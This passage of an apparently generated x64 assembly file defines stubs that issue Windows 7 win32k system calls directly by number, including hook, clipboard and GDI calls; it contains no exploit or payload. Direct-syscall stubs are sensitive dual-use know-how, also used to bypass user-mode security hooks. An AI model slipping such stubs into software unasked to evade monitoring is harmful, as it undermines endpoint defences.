NtUserPaintMenuBar( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserPaintMenuBar PROC STDCALL mov r10 , rcx mov eax , 4334 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserPaintMenuBar ENDP ; ULONG64 __stdcall NtUserSetKeyboardState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetKeyboardState PROC STDCALL mov r10 , rcx mov eax , 4335 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetKeyboardState ENDP ; ULONG64 __stdcall NtGdiCombineTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiCombineTransform PROC STDCALL mov r10 , rcx mov eax , 4336 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCombineTransform ENDP ; ULONG64 __stdcall NtUserCreateAcceleratorTable( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserCreateAcceleratorTable PROC STDCALL mov r10 , rcx mov eax , 4337 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCreateAcceleratorTable ENDP ; ULONG64 __stdcall NtUserGetCursorFrameInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetCursorFrameInfo PROC STDCALL mov r10 , rcx mov eax , 4338 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetCursorFrameInfo ENDP ; ULONG64 __stdcall NtUserGetAltTabInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserGetAltTabInfo PROC STDCALL mov r10 , rcx mov eax , 4339 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetAltTabInfo ENDP ; ULONG64 __stdcall NtUserGetCaretBlinkTime( ); _6_1_7600_sp0_windows_7_NtUserGetCaretBlinkTime PROC STDCALL mov r10 , rcx mov eax , 4340 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetCaretBlinkTime ENDP ; ULONG64 __stdcall NtGdiQueryFontAssocInfo( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiQueryFontAssocInfo PROC STDCALL mov r10 , rcx mov eax , 4341 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiQueryFontAssocInfo ENDP ; ULONG64 __stdcall NtUserProcessConnect( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserProcessConnect PROC STDCALL mov r10 , rcx mov eax , 4342 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserProcessConnect ENDP ; ULONG64 __stdcall NtUserEnumDisplayDevices( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserEnumDisplayDevices PROC STDCALL mov r10 , rcx mov eax , 4343 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEnumDisplayDevices ENDP ; ULONG64 __stdcall NtUserEmptyClipboard( ); _6_1_7600_sp0_windows_7_NtUserEmptyClipboard PROC STDCALL mov r10 , rcx mov eax , 4344 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEmptyClipboard ENDP ; ULONG64 __stdcall NtUserGetClipboardData( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetClipboardData PROC STDCALL mov r10 , rcx mov eax , 4345 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetClipboardData ENDP ; ULONG64 __stdcall NtUserRemoveMenu( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserRemoveMenu PROC STDCALL mov r10 , rcx mov eax , 4346 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRemoveMenu ENDP ; ULONG64 __stdcall NtGdiSetBoundsRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetBoundsRect PROC STDCALL mov r10 , rcx mov eax , 4347 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetBoundsRect ENDP ; ULONG64 __stdcall NtGdiGetBitmapDimension( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetBitmapDimension PROC STDCALL mov r10 , rcx mov eax , 4348 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetBitmapDimension ENDP ; ULONG64 __stdcall NtUserConvertMemHandle( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserConvertMemHandle PROC STDCALL mov r10 , rcx mov eax , 4349 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserConvertMemHandle ENDP ; ULONG64 __stdcall NtUserDestroyAcceleratorTable( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDestroyAcceleratorTable PROC STDCALL mov r10 , rcx mov eax , 4350 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDestroyAcceleratorTable ENDP ; ULONG64 __stdcall NtUserGetGUIThreadInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetGUIThreadInfo PROC STDCALL mov r10 , rcx mov eax , 4351 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetGUIThreadInfo ENDP ; ULONG64 __stdcall NtGdiCloseFigure( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiCloseFigure PROC STDCALL mov r10 , rcx mov eax , 4352 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCloseFigure ENDP ; ULONG64 __stdcall NtUserSetWindowsHookAW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetWindowsHookAW PROC STDCALL mov r10 , rcx mov eax , 4353 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowsHookAW ENDP ; ULONG64 __stdcall NtUserSetMenuDefaultItem( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetMenuDefaultItem PROC STDCALL mov r10 , rcx mov eax , 4354 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetMenuDefaultItem ENDP ; ULONG64 __stdcall NtUserCheckMenuItem( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserCheckMenuItem PROC STDCALL mov r10 , rcx mov eax , 4355 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCheckMenuItem ENDP ; ULONG64 __stdcall NtUserSetWinEventHook( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtUserSetWinEventHook PROC STDCALL mov r10 , rcx mov eax , 4356 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWinEventHook ENDP ; ULONG64 __stdcall NtUserUnhookWinEvent( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserUnhookWinEvent PROC STDCALL mov r10 , rcx mov eax , 4357 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUnhookWinEvent ENDP ; ULONG64 __stdcall NtUserLockWindowUpdate( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserLockWindowUpdate PROC STDCALL mov r10 , rcx mov eax , 4358 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserLockWindowUpdate ENDP ; ULONG64 __stdcall NtUserSetSystemMenu( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetSystemMenu PROC STDCALL mov r10 , rcx mov eax , 4359 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetSystemMenu ENDP ; ULONG64 __stdcall NtUserThunkedMenuInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserThunkedMenuInfo PROC STDCALL mov r10 , rcx mov eax , 4360 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserThunkedMenuInfo ENDP ; ULONG64 __stdcall NtGdiBeginPath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiBeginPath PROC STDCALL mov r10 , rcx mov eax , 4361 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiBeginPath ENDP ; ULONG64 __stdcall NtGdiEndPath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEndPath PROC STDCALL mov r10 , rcx mov eax , 4362 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEndPath ENDP ; ULONG64 __stdcall NtGdiFillPath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiFillPath PROC STDCALL mov r10 , rcx mov eax , 4363 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFillPath ENDP ; ULONG64 __stdcall NtUserCallHwnd( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserCallHwnd PROC STDCALL mov r10 , rcx mov eax , 4364 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallHwnd ENDP ; ULONG64 __stdcall NtUserDdeInitialize( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserDdeInitialize PROC STDCALL mov r10 , rcx mov eax , 4365 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDdeInitialize ENDP ; ULONG64 __stdcall NtUserModifyUserStartupInfoFlags( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserModifyUserStartupInfoFlags PROC STDCALL mov r10 , rcx mov eax , 4366 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserModifyUserStartupInfoFlags ENDP ; ULONG64 __stdcall NtUserCountClipboardFormats( ); _6_1_7600_sp0_windows_7_NtUserCountClipboardFormats PROC STDCALL mov r10 , rcx mov eax , 4367 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCountClipboardFormats ENDP ; ULONG64 __stdcall NtGdiAddFontMemResourceEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiAddFontMemResourceEx PROC STDCALL mov r10 , rcx mov eax , 4368 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAddFontMemResourceEx ENDP ; ULONG64 __stdcall NtGdiEqualRgn( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiEqualRgn PROC STDCALL mov r10 , rcx mov eax , 4369 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEqualRgn ENDP ; ULONG64 __stdcall NtGdiGetSystemPaletteUse( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiGetSystemPaletteUse PROC STDCALL mov r10 , rcx mov eax , 4370 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetSystemPaletteUse ENDP ; ULONG64 __stdcall NtGdiRemoveFontMemResourceEx( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiRemoveFontMemResourceEx PROC STDCALL mov r10 , rcx mov eax , 4371 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiRemoveFontMemResourceEx ENDP ; ULONG64 __stdcall NtUserEnumDisplaySettings( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserEnumDisplaySettings PROC STDCALL mov r10 , rcx mov eax , 4372 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEnumDisplaySettings ENDP ; ULONG64 __stdcall NtUserPaintDesktop( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserPaintDesktop PROC STDCALL mov r10 , rcx mov eax , 4373 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserPaintDesktop ENDP ; ULONG64 __stdcall NtGdiExtEscape( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiExtEscape PROC STDCALL mov r10 , rcx mov eax , 4374 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiExtEscape ENDP ; ULONG64 __stdcall NtGdiSetBitmapDimension( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiSetBitmapDimension PROC STDCALL mov r10 , rcx mov eax , 4375 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetBitmapDimension ENDP ; ULONG64 __stdcall NtGdiSetFontEnumeration( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiSetFontEnumeration PROC STDCALL mov r10 , rcx mov eax , 4376 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetFontEnumeration ENDP ; ULONG64 __stdcall NtUserChangeClipboardChain( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserChangeClipboardChain PROC STDCALL mov r10 , rcx mov eax , 4377 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserChangeClipboardChain ENDP ; ULONG64 __stdcall NtUserSetClipboardViewer( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetClipboardViewer PROC STDCALL mov r10 , rcx mov eax , 4378 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetClipboardViewer ENDP ; ULONG64 __stdcall NtUserShowWindowAsync( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserShowWindowAsync PROC STDCALL mov r10 , rcx mov eax , 4379 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserShowWindowAsync ENDP ; ULONG64 __stdcall NtGdiCreateColorSpace( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiCreateColorSpace PROC STDCALL mov r10 , rcx mov eax , 4380 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateColorSpace ENDP ; ULONG64 __stdcall NtGdiDeleteColorSpace( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDeleteColorSpace PROC STDCALL mov r10 , rcx mov eax , 4381 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDeleteColorSpace ENDP ; ULONG64 __stdcall NtUserActivateKeyboardLayout( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserActivateKeyboardLayout PROC STDCALL mov r10 , rcx mov eax , 4382 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserActivateKeyboardLayout ENDP ; ULONG64 __stdcall NtGdiAbortDoc( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiAbortDoc PROC STDCALL mov r10 , rcx mov eax , 4383 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAbortDoc ENDP ; ULONG64 __stdcall NtGdiAbortPath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiAbortPath PROC STDCALL mov r10 , rcx mov eax , 4384 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAbortPath ENDP ; ULONG64 __stdcall NtGdiAddEmbFontToDC( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiAddEmbFontToDC PROC STDCALL mov r10 , rcx mov eax , 4385 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAddEmbFontToDC ENDP ; ULONG64 __stdcall NtGdiAddFontResourceW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiAddFontResourceW PROC STDCALL mov r10 , rcx mov eax , 4386 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAddFontResourceW ENDP ; ULONG64 __stdcall NtGdiAddRemoteFontToDC( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiAddRemoteFontToDC PROC STDCALL mov r10 , rcx mov eax , 4387 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAddRemoteFontToDC ENDP ; ULONG64 __stdcall NtGdiAddRemoteMMInstanceToDC( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiAddRemoteMMInstanceToDC PROC STDCALL mov r10 , rcx mov eax , 4388 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAddRemoteMMInstanceToDC ENDP ; ULONG64 __stdcall NtGdiAngleArc( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiAngleArc PROC STDCALL mov r10 , rcx mov eax , 4389 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAngleArc ENDP ; ULONG64 __stdcall NtGdiAnyLinkedFonts( ); _6_1_7600_sp0_windows_7_NtGdiAnyLinkedFonts PROC STDCALL mov r10 , rcx mov eax , 4390 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiAnyLinkedFonts ENDP ; ULONG64 __stdcall NtGdiArcInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_1_7600_sp0_windows_7_NtGdiArcInternal PROC STDCALL mov r10 , rcx mov eax , 4391 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiArcInternal ENDP ; ULONG64 __stdcall NtGdiBRUSHOBJ_DeleteRbrush( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_DeleteRbrush PROC STDCALL mov r10 , rcx mov eax , 4392 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_DeleteRbrush ENDP ; ULONG64 __stdcall NtGdiBRUSHOBJ_hGetColorTransform( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_hGetColorTransform PROC STDCALL mov r10 , rcx mov eax , 4393 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_hGetColorTransform ENDP ; ULONG64 __stdcall NtGdiBRUSHOBJ_pvAllocRbrush( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_pvAllocRbrush PROC STDCALL mov r10 , rcx mov eax , 4394 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_pvAllocRbrush ENDP ; ULONG64 __stdcall NtGdiBRUSHOBJ_pvGetRbrush( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_pvGetRbrush PROC STDCALL mov r10 , rcx mov eax , 4395 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_pvGetRbrush ENDP ; ULONG64 __stdcall NtGdiBRUSHOBJ_ulGetBrushColor( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_ulGetBrushColor PROC STDCALL mov r10 , rcx mov eax , 4396 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiBRUSHOBJ_ulGetBrushColor ENDP ; ULONG64 __stdcall NtGdiBeginGdiRendering( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiBeginGdiRendering PROC STDCALL mov r10 , rcx mov eax , 4397 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiBeginGdiRendering ENDP ; ULONG64 __stdcall NtGdiCLIPOBJ_bEnum( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiCLIPOBJ_bEnum PROC STDCALL mov r10 , rcx mov eax , 4398 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCLIPOBJ_bEnum ENDP ; ULONG64 __stdcall NtGdiCLIPOBJ_cEnumStart( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiCLIPOBJ_cEnumStart PROC STDCALL mov r10 , rcx mov eax , 4399 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCLIPOBJ_cEnumStart ENDP ; ULONG64 __stdcall NtGdiCLIPOBJ_ppoGetPath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiCLIPOBJ_ppoGetPath PROC STDCALL mov r10 , rcx mov eax , 4400 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCLIPOBJ_ppoGetPath ENDP ; ULONG64 __stdcall NtGdiCancelDC( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiCancelDC PROC STDCALL mov r10 , rcx mov eax , 4401 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCancelDC ENDP ; ULONG64 __stdcall NtGdiChangeGhostFont( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiChangeGhostFont PROC STDCALL mov r10 , rcx mov eax , 4402 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiChangeGhostFont ENDP ; ULONG64 __stdcall NtGdiCheckBitmapBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiCheckBitmapBits PROC STDCALL mov r10 , rcx mov eax , 4403 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCheckBitmapBits ENDP ; ULONG64 __stdcall NtGdiClearBitmapAttributes( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiClearBitmapAttributes PROC STDCALL mov r10 , rcx mov eax , 4404 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiClearBitmapAttributes ENDP ; ULONG64 __stdcall NtGdiClearBrushAttributes( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiClearBrushAttributes PROC STDCALL mov r10 , rcx mov eax , 4405 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiClearBrushAttributes ENDP ; ULONG64 __stdcall NtGdiColorCorrectPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiColorCorrectPalette PROC STDCALL mov r10 , rcx mov eax , 4406 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiColorCorrectPalette ENDP ; ULONG64 __stdcall NtGdiConfigureOPMProtectedOutput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiConfigureOPMProtectedOutput PROC STDCALL mov r10 , rcx mov eax , 4407 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiConfigureOPMProtectedOutput ENDP ; ULONG64 __stdcall NtGdiConvertMetafileRect( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiConvertMetafileRect PROC STDCALL mov r10 , rcx mov eax , 4408 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiConvertMetafileRect ENDP ; ULONG64 __stdcall NtGdiCreateBitmapFromDxSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiCreateBitmapFromDxSurface PROC STDCALL mov r10 , rcx mov eax , 4409 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateBitmapFromDxSurface ENDP ; ULONG64 __stdcall NtGdiCreateColorTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiCreateColorTransform PROC STDCALL mov r10 , rcx mov eax , 4410 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateColorTransform ENDP ; ULONG64 __stdcall NtGdiCreateEllipticRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiCreateEllipticRgn PROC STDCALL mov r10 , rcx mov eax , 4411 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateEllipticRgn ENDP ; ULONG64 __stdcall NtGdiCreateHatchBrushInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiCreateHatchBrushInternal PROC STDCALL mov r10 , rcx mov eax , 4412 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateHatchBrushInternal ENDP ; ULONG64 __stdcall NtGdiCreateMetafileDC( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiCreateMetafileDC PROC STDCALL mov r10 , rcx mov eax , 4413 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateMetafileDC ENDP ; ULONG64 __stdcall NtGdiCreateOPMProtectedOutputs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiCreateOPMProtectedOutputs PROC STDCALL mov r10 , rcx mov eax , 4414 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateOPMProtectedOutputs ENDP ; ULONG64 __stdcall NtGdiCreateRoundRectRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiCreateRoundRectRgn PROC STDCALL mov r10 , rcx mov eax , 4415 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateRoundRectRgn ENDP ; ULONG64 __stdcall NtGdiCreateServerMetaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiCreateServerMetaFile PROC STDCALL mov r10 , rcx mov eax , 4416 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateServerMetaFile ENDP ; ULONG64 __stdcall NtGdiD3dContextCreate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiD3dContextCreate PROC STDCALL mov r10 , rcx mov eax , 4417 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiD3dContextCreate ENDP ; ULONG64 __stdcall NtGdiD3dContextDestroy( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiD3dContextDestroy PROC STDCALL mov r10 , rcx mov eax , 4418 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiD3dContextDestroy ENDP ; ULONG64 __stdcall NtGdiD3dContextDestroyAll( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiD3dContextDestroyAll PROC STDCALL mov r10 , rcx mov eax , 4419 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiD3dContextDestroyAll ENDP ; ULONG64 __stdcall NtGdiD3dValidateTextureStageState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiD3dValidateTextureStageState PROC STDCALL mov r10 , rcx mov eax , 4420 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiD3dValidateTextureStageState ENDP ; ULONG64 __stdcall NtGdiDDCCIGetCapabilitiesString( ULONG64 arg_01 